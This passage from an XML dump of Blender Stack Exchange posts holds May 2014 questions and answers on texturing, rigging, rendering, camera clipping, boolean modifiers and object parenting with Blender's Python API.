FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9181" PostTypeId="2" ParentId="9063" CreationDate="2014-05-07T05:20:34.360" Score="3" Body="&lt;p&gt;From your supplemental comment, you seem to be creating game content for the Unity game engine, which will limit the set of possible answers, but the answer will still depend upon what kind of content you are making. Inorganic content--vehicles, metal objects, and painted surfaces, may be better colored by defining the color properties of the material. Organic content--living things (even imaginary ones)--and complex items like highly detailed structures may be best done with an image texture mapped to the surface of the model using UV unwrapping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've got some modeling experience, I'd suggest Ben Simonds' book, &lt;em&gt;Blender Master Class&lt;/em&gt;, where he discusses a wide range of coloring techniques for various kinds of elements, organic, and inorganic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ns&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-05-07T05:20:34.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9182" PostTypeId="2" ParentId="9165" CreationDate="2014-05-07T05:39:18.803" Score="3" Body="&lt;p&gt;Using a texture with stencil mapping makes it easy to paint physical seams where you want them, regardless of where the uv seams are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IBIzh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I gave more details about stencil painting &lt;a href=&quot;https://blender.stackexchange.com/questions/9064/can-project-paint-be-used-with-cycles/9069#9069&quot;&gt;in this answer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-05-07T05:39:18.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9183" PostTypeId="1" CreationDate="2014-05-07T05:47:18.300" Score="1" ViewCount="121" Body="&lt;p&gt;I've got a dragon armature and I'd like to have all the bones of his tail just flow behind him as he flies, without me having to position all the bones by hand along his flight path. Is there an easy way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-05-07T05:47:18.300" Title="How can I get section of my armature's bones to trail behind when moving?" Tags="&lt;animation&gt;&lt;armature&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9184" PostTypeId="1" AcceptedAnswerId="9185" CreationDate="2014-05-07T05:54:07.820" Score="7" ViewCount="25287" Body="&lt;p&gt;I have a really nice looking crystal material using cycles applied to my object; it's pretty fast and very simple - Just one glass node. Is there any way to convert this into an HLSL shader for use wihthin Unity? My understanding is that cycles materials are left out when Blender files are used in Unity.&lt;/p&gt;&#xA;" OwnerUserId="3171" LastActivityDate="2018-01-08T18:36:02.857" Title="Cycles Materials to Unity Shader" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;&lt;unity&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9185" PostTypeId="2" ParentId="9184" CreationDate="2014-05-07T06:28:05.690" Score="16" Body="&lt;p&gt;I don't think that is possible, at least the results will look different.&#xA;Cycles uses a completely different rendering system than what realtime graphics applications like Unity use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Cycles Renderer is a ray tracer and has full knowledge of the whole scene all the time. It can model shadows, reflections, refractions and indirect lighting pretty easily, but they cost a lot of computation power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unity on the other hand uses OpenGL and Direct3D for rendering. Both APIs are optimized for realtime graphics, but during rendering only single objects are known. Reflections and shadows have to be faked by rendering the scene multiple times from different angles. To get performant global illumination it is precalculated and refractions are usually faked by distorting the final image.&lt;br&gt;&#xA;So even if you export all the settings from Cycles to Unity, the rendering engine in Unity can not use them correctly.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="5917" LastEditDate="2014-12-23T09:20:08.803" LastActivityDate="2014-12-23T09:20:08.803" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9187" PostTypeId="1" AcceptedAnswerId="9197" CreationDate="2014-05-07T07:44:09.830" Score="4" ViewCount="1623" Body="&lt;p&gt;When I arrange vertex in a shape in front perspective view and when I move them forward from side view the shape looks bigger as it comes forward in front perspective view and when every time I move it forward I need to shrink it to make it look same the same size as it looks before, this takes a lot of time for modeling. Is there any way to shrink the model as it comes forward so that it looks the same size as it looks before? &lt;/p&gt;&#xA;" OwnerUserId="3360" LastActivityDate="2019-05-12T04:41:51.433" Title="Problem modeling in perspective view" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9188" PostTypeId="1" CreationDate="2014-05-07T08:23:42.113" Score="4" ViewCount="402" Body="&lt;p&gt;I'm confused about IOR in Blender Internal as used in raytraced transparency.&#xA;To demonstrate my issue, I set up a camera looking through a transparent sheet with IOR&gt;1 (and slightly tinted) at a textured surface.&#xA;You can clearly see the expected refraction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I flip normals, I get exactly the same render!&#xA;My question is therefore:  How does Blender Internal determine the &quot;in/out&quot;-side if it does not use the normals for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Placing the camera inside a properly closed transparent volume with IOR does not change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, I can invert the IOR to treat camera rays, but I came across this issue when reflections going out and then back into the glass material misbehaved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WXzi6.png&quot; alt=&quot;Scene Setup&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4AmyP.png&quot; alt=&quot;Refraction visible&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2590" LastActivityDate="2014-09-27T03:32:53.277" Title="IOR in Blender Internal (raytraced)" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9189" PostTypeId="2" ParentId="9175" CreationDate="2014-05-07T12:19:12.623" Score="11" Body="&lt;h2&gt;Separate, add Boolean Modifiers, then Rejoin&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can achieve this by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Separating the different planes into different objects. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adding a &lt;em&gt;Boolean&lt;/em&gt; modifier set to either &lt;em&gt;Union&lt;/em&gt; or &lt;em&gt;Intersect&lt;/em&gt; on both of your planes, then applying both modifiers. The result is that both planes will have perfectly made edges where they intersect. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can then &lt;em&gt;Join&lt;/em&gt; them into one mesh and edit parts of each as you wish without disrupting the textures of either plane.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For example, here there are 2 intersecting planes, both part of one object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dXajM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how you begin:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the object, enter Edit mode (&lt;kbd&gt;TAB&lt;/kbd&gt;) and then separate each plane to be it's own object with the following method:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select one plane → &lt;em&gt;Separate&lt;/em&gt; (&lt;kbd&gt;P&lt;/kbd&gt;) → &lt;em&gt;Selection&lt;/em&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Repeat this until each plane has been separated, then exit Edit mode with &lt;kbd&gt;TAB&lt;/kbd&gt;.&lt;br&gt;&#xA;&lt;strong&gt;NOTE:&lt;/strong&gt; Do not move either plane from it's location so they will still be in the proper place when you rejoin them back to the larger object at the end. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Boolean&lt;/em&gt; modifier to each plane:&lt;br&gt;&#xA;Select plane → &lt;em&gt;Object Properties&lt;/em&gt; panel → &lt;em&gt;Modifiers&lt;/em&gt; tab → &lt;em&gt;Boolean&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Operation&lt;/em&gt; to &lt;em&gt;Union&lt;/em&gt; or &lt;em&gt;Intersect&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Object&lt;/em&gt; to the other plane&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example, here is the modifier added to the &quot;Blender Logo plane&quot;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/207d5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the modifier on the &quot;Blank plane&quot;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gdjNd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the &lt;em&gt;Apply&lt;/em&gt; button on both modifiers&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select both planes and the larger structure they were part of, then use &lt;em&gt;Join&lt;/em&gt; (&lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;) to join them back into one mesh again &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is you now have one mesh object with perfectly marked edges where the planes intersected, and you can edit the faces as you wish without disrupting the textures:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6B1iv.gif&amp;rarr;&amp;rarr;&amp;rarr;&amp;rarr;&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; I'm using 2.70a and there may be a bug in the Boolean modifiers: I noticed that sometimes when I clicked &quot;Apply&quot; on the modifiers, the planes disappeared sometimes, and other times they behaved oddly. If this happens, just use &lt;em&gt;Undo&lt;/em&gt; (&lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;) to go back to before you clicked &quot;Apply&quot; and try again. Eventually it worked for me.&lt;br&gt;&#xA;:)&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-05-07T17:44:36.450" LastActivityDate="2014-05-07T17:44:36.450" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="9190" PostTypeId="1" CreationDate="2014-05-07T14:20:36.253" Score="8" ViewCount="31820" Body="&lt;p&gt;For some reason when I render or turn into active camera mode the mesh obj disappear as I move farther. I need help on how to increase that view range.&lt;img src=&quot;https://i.stack.imgur.com/RzCWx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0YvqD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3189" LastEditorUserId="3189" LastEditDate="2014-05-12T15:28:54.383" LastActivityDate="2014-05-12T15:28:54.383" Title="Active camera have a short view distance,how do I increase it?" Tags="&lt;modeling&gt;&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ClosedDate="2014-05-07T19:01:20.713" ContentLicense="CC BY-SA 3.0" />
  <row Id="9191" PostTypeId="2" ParentId="9190" CreationDate="2014-05-07T14:34:39.657" Score="11" Body="&lt;p&gt;Select the camera, then increase the Clipping &lt;code&gt;End&lt;/code&gt; value in the Camera's properties panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1D6c3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3194" LastEditorUserId="2173" LastEditDate="2014-05-07T15:01:18.973" LastActivityDate="2014-05-07T15:01:18.973" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9192" PostTypeId="5" CreationDate="2014-05-07T19:23:01.160" Score="0" Body="&lt;p&gt;Render layers on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Post_Process/Layers&quot; rel=&quot;nofollow&quot;&gt;blender wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2217" LastEditDate="2014-05-07T20:50:37.513" LastActivityDate="2014-05-07T20:50:37.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9193" PostTypeId="4" CreationDate="2014-05-07T19:23:01.160" Score="0" Body="Render layers are used to separate pieces of a scene for rendering. Those layers can then be treated differently in the compositor." OwnerUserId="599" LastEditorUserId="2217" LastEditDate="2014-05-07T20:53:43.707" LastActivityDate="2014-05-07T20:53:43.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9194" PostTypeId="5" CreationDate="2014-05-07T20:50:36.207" Score="0" Body="&lt;p&gt;Layers on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/Layers&quot; rel=&quot;nofollow&quot;&gt;blender wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-05-07T21:11:31.183" LastActivityDate="2014-05-07T21:11:31.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9195" PostTypeId="4" CreationDate="2014-05-07T20:50:36.207" Score="0" Body="Layers are used to separate objects in a scene. Layers help in keeping scenes organized. This tag is specifically for questions related to using layers in blender." OwnerUserId="2217" LastEditorUserId="599" LastEditDate="2014-05-07T20:52:10.473" LastActivityDate="2014-05-07T20:52:10.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9196" PostTypeId="1" CreationDate="2014-05-07T20:59:49.730" Score="1" ViewCount="542" Body="&lt;p&gt;I was playing around with some MMD models I downloaded and I found that whenever I tried to pose them, its hair would go through the face.&#xA;What should I do to prevent this form happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IQZyw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3024" LastActivityDate="2014-05-07T20:59:49.730" Title="Mesh hair goes through body" Tags="&lt;mesh&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9197" PostTypeId="2" ParentId="9187" CreationDate="2014-05-07T21:07:49.563" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Perspective_%28visual%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Perspective&lt;/a&gt;, while it is the way we see things in the real world, is an illusion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These train tracks look like they are converging, but obviously they can't be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/File:Railroad-Tracks-Perspective.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/2/2a/Railroad-Tracks-Perspective.jpg/450px-Railroad-Tracks-Perspective.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Orthographic_projection&quot; rel=&quot;nofollow noreferrer&quot;&gt;Orthographic projection&lt;/a&gt; is a way of seeing 3D shapes in 2D at their actual sizes, without perspective distortion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a comparison of orthographic versus perspective, with the same camera angle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oam4F.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oam4Fm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/BkwR8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BkwR8m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The orthographic version doesn't look &quot;right&quot;, but the tracks appear parallel, which is how they actually are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By moving the camera backwards and increasing the focal length, you can kind of get an ortho-like look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/UnfortunateColossalAndeancondor#&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/UnfortunateColossalAndeancondor.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you are modeling from an orthographic or nearly orthographic reference image (obviously it is impossible to get a true orthographic projection from a camera, but photographs can be &quot;close enough&quot; if taken with a long focal length), modeling in ortho is the best way to go. It does take a little getting used to though..&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.590" LastActivityDate="2014-05-07T21:07:49.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9199" PostTypeId="1" CreationDate="2014-05-08T00:10:24.573" Score="2" ViewCount="175" Body="&lt;p&gt;So many times I try to use the knife tool and it simply won't grab anything. I move the screen around randomly and zoom in and out and if I'm lucky it will eventually start working. See gif for example. This one actually worked pretty quickly. Other times I have to try for such an extended period of time that It's hardly even worth trying to use. Is it me, or is it some kind of bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/pic/show.php?id=70959&quot; rel=&quot;nofollow noreferrer&quot;&gt;knife http://www.pasteall.org/pic/show.php?id=70959&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3399" LastEditorUserId="2217" LastEditDate="2015-06-01T23:24:24.363" LastActivityDate="2015-06-01T23:24:24.363" Title="Why is the Knife Tool so Finicky?" Tags="&lt;mesh&gt;&lt;editing&gt;&lt;knife-tool&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-05-08T00:28:13.317" ContentLicense="CC BY-SA 3.0" />
  <row Id="9200" PostTypeId="1" CreationDate="2014-05-08T10:46:39.903" Score="14" ViewCount="16591" Body="&lt;p&gt;I have two objects each of them hold in a variable. Now I want to parent them so object &lt;code&gt;A&lt;/code&gt; is the parent of object &lt;code&gt;B&lt;/code&gt;. How can I do this using Blender's Python API? I know there is a &lt;code&gt;parent_set&lt;/code&gt; operator in Blender but I don't know how to set up the selection in the scene via Python so I just have to call &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.parent_set(...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It looks like there is a parent attribute on objects which I can use like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b.parent = a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I use that?&lt;/p&gt;&#xA;" OwnerUserId="2478" LastEditorUserId="29301" LastEditDate="2018-10-14T23:47:41.057" LastActivityDate="2020-05-18T18:00:07.457" Title="How to make object A a parent of object B via Blender's Python API?" Tags="&lt;python&gt;&lt;objects&gt;&lt;parent&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="9202" PostTypeId="2" ParentId="8441" CreationDate="2014-05-08T12:23:45.347" Score="1" Body="&lt;p&gt;It worked by disabling the generation of mipmaps with the GPU, in User Preferences&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-05-08T12:23:45.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9203" PostTypeId="1" CreationDate="2014-05-08T13:51:35.293" Score="7" ViewCount="2237" Body="&lt;p&gt;I have seen some questions to this topic but all of them are not satisfactory for my problem.&#xA;Is it possible to set a custom 4x4 projection matrix in Python to use for rendering in Blender? I'm not interested to manipulate single parameters (lens, shift, clipping...), I rather would like to set the whole matrix at once. Is it possible in Python or do I have to go deeper?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be so thankful for any informations or hints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;greetings&lt;/p&gt;&#xA;" OwnerUserId="3414" LastActivityDate="2014-05-08T15:13:40.563" Title="How to set a custom 4x4 projection matrix in Blender" Tags="&lt;python&gt;&lt;rendering&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9204" PostTypeId="2" ParentId="9200" CreationDate="2014-05-08T14:49:54.357" Score="6" Body="&lt;p&gt;You can use b.parent = a but you can of course use : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.parent_set()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I made a little code for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;a = bpy.data.objects['Cube']&#xA;b = bpy.data.objects['Cube.001']&#xA;&#xA;bpy.ops.object.select_all(action='DESELECT') #deselect all object&#xA;&#xA;a.select = True&#xA;b.select = True     #select the object for the 'parenting'&#xA;&#xA;bpy.context.scene.objects.active = a    #the active object will be the parent of all selected object&#xA;&#xA;bpy.ops.object.parent_set()&#xA;&#xA;#Now The parent of b is a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For setting the parameter of the parent_set you can go to the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_60_0/bpy.ops.object.html#bpy.ops.object.parent_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender python api&lt;/a&gt;.&#xA;Blender also give you this in the python console : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;parent_set()&#xA;bpy.ops.object.parent_set(type='OBJECT', xmirror=False, keep_transform=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="3710" LastEditDate="2015-04-21T16:25:14.103" LastActivityDate="2015-04-21T16:25:14.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9205" PostTypeId="2" ParentId="9203" CreationDate="2014-05-08T15:13:40.563" Score="5" Body="&lt;p&gt;A camera object, &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/bpy.types.Camera.html&quot; rel=&quot;noreferrer&quot;&gt;bpy.types.Camera&lt;/a&gt;, does not expose a matrix property or anything similar. You can only change the available properties, which should be equal to what you can do via the user interface in the &lt;em&gt;Object data&lt;/em&gt; tab.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-05-08T15:13:40.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9206" PostTypeId="1" AcceptedAnswerId="9209" CreationDate="2014-05-08T21:36:38.400" Score="8" ViewCount="3719" Body="&lt;p&gt;When I composed my &lt;a href=&quot;https://www.youtube.com/watch?v=2uy_dvjpFx0&quot; rel=&quot;noreferrer&quot;&gt;first hopping cube video&lt;/a&gt; &lt;img src=&quot;https://i.stack.imgur.com/CDXkH.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would have liked to have the camera pitch up enough to show the horizon, except I didn't have enough geometry to extend the cobblestone street and the sidewalk all the way to infinity (mostly because that would require infinite stuff).  Even in that shot it is clear that I need to widen the &quot;sidewalk&quot; to cover up the &quot;sky&quot;box.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contrast with &#xA;&lt;img src=&quot;https://i.stack.imgur.com/R4TML.jpg&quot; alt=&quot;menger sponge picture&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;where the ray tracer can use the procedurally replicated geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/29031&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/29031&lt;/a&gt; is a failed attempt at faking out the horizon, even with low detail.  It fails because lighting's interaction with the geometry gives it away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some techniques that prevent you from having to deal with infinity include&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;put the scene in a box (usually a room)&lt;/li&gt;&#xA;&lt;li&gt;put the scene in a canyon (which is just a box without a top so you can see the relatively featureless sky)&lt;/li&gt;&#xA;&lt;li&gt;route the road into a tunnel, or around a corner and hide the horizon with other geometry (which is really just a variant on the canyon).&lt;/li&gt;&#xA;&lt;li&gt;have no detail on the ground at all (flat color or gradient)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Those are all dodging the question of interest to me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What techniques have people used in blender to fake various kinds of detail repeating into the distance (instead of just obstructing the view of infinity)?&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="599" LastEditDate="2014-05-08T21:44:18.753" LastActivityDate="2020-02-18T19:49:46.360" Title="What techniques have been used to repeat geometry or other detail to the infinite horizon?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9207" PostTypeId="1" AcceptedAnswerId="9210" CreationDate="2014-05-08T22:36:48.933" Score="2" ViewCount="922" Body="&lt;p&gt;I've seen several posts suggesting that it's better to write functions that&#xA;manipulate bpy.data directly, instead of using the bpy.ops operators. I can&#xA;understand the argument about how operators such as bpy.ops.mesh.separate() are&#xA;meant for the user interface, requiring context such as the active object or the&#xA;mode (object vs. edit), usually given by the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the operators are convenient because they embody so much of Blender's&#xA;functionality already, and I don't want to have to re-code that from&#xA;scratch... So where I can find this functionality in Blender's API, apart from&#xA;the bpy.ops operators ? Is it in bmesh ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a specific example : if I want to code the equivalent of &quot;separate&quot;, I need (among&#xA;other things) to identify, in the set of vertices that I want to separate, which&#xA;ones are on the 'borders', so I can duplicate them. This would probably involve&#xA;navigating around the mesh data, iterating over each vertex's neighbors, and&#xA;checking whether they're inside my set. Not trivial for a newbie. So is there a&#xA;function for this ?&lt;/p&gt;&#xA;" OwnerUserId="3209" LastEditorUserId="660" LastEditDate="2015-06-16T17:48:24.667" LastActivityDate="2015-06-16T17:48:24.667" Title="Script to separate an object's mesh without using bpy.ops" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9208" PostTypeId="1" CreationDate="2014-05-08T22:38:19.097" Score="4" ViewCount="1465" Body="&lt;p&gt;I'm trying to model a laser, and I'm using moving particles that are emitters. Using some motion blur, I get something that looks like particles going very quickly. However, I would like to give the impression that this is a laser, so I was thinking about making the particles move in a sinusoidal motion to make them look like little sine waves (a crude rendition of the particle/wave duality of light, I admit.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that this effect should be achievable if I could make a texture field that would apply an up/down force on the particles. But, I cannot figure out how to define the texture used by the texture field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is what I have so far, showing the laser in red hitting a nanoparticle and ejecting ions (yellow/white). I am using the Cycles renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CklSU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3418" LastEditorUserId="3418" LastEditDate="2014-05-08T22:59:24.310" LastActivityDate="2017-01-17T18:45:19.200" Title="Make particles wiggle (in a sine wave)" Tags="&lt;cycles-render-engine&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9209" PostTypeId="2" ParentId="9206" CreationDate="2014-05-08T22:43:48.233" Score="14" Body="&lt;p&gt;To give the impression of infinity, often it's not necessary to copy the object many times at all. you will notice that in the example image only about 8 or 9 repetitions are visible, the implied continuation of cubes is hidden behind a white glare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way is to do this is by using an &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/array.html#array-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;array modifier&lt;/a&gt;. One issue with this is that it is not the most efficient, as &lt;a href=&quot;https://blender.stackexchange.com/q/7235/599&quot;&gt;the array modifier creates new geometry every time the source is repeated&lt;/a&gt;. To use the array modifier to make instances (references to a single copy of the mesh data, rather than actually copying the mesh data), e.g. using &lt;em&gt;Dupli objects&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a plane 